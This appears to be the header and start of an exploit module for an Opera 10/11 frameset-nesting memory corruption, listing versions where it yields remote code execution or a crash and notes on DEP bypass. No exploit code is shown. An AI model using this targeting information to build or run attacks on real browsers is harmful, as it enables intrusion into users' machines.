################################################################### Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
#
# Vulnerability:
#
# Discovered: 2010-08-18
# Patched: 2011-05-18
# Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
# v11.xx < v11.11 (v11.00, v11.01 and v11.10)
# Patched on: v11.11

# Exploit:
#
# Coded: 2010-09-23
# Last revision: 2011-09-30
#
# RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
# DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
#
# Notes:
#
# 1) DEP bypass: possible but unreliable.
# 2) Let me know if you improve this one ;)
# 3) Most of times, it won’t work at first attempt and need crash-dialog interaction.

‘Name’ => ‘Opera 10/11 (bad nesting with frameset tag) Memory Corruption’,
‘Description’ => %q{
This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within
Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses.
Successfully exploiting leads to remote code execution or denial of service condition under Windows XP
SP3 (DEP = off).
Note than most of cases, it won’t work at first attempt and need crash-dialog interaction.
Read the last reference for further details.
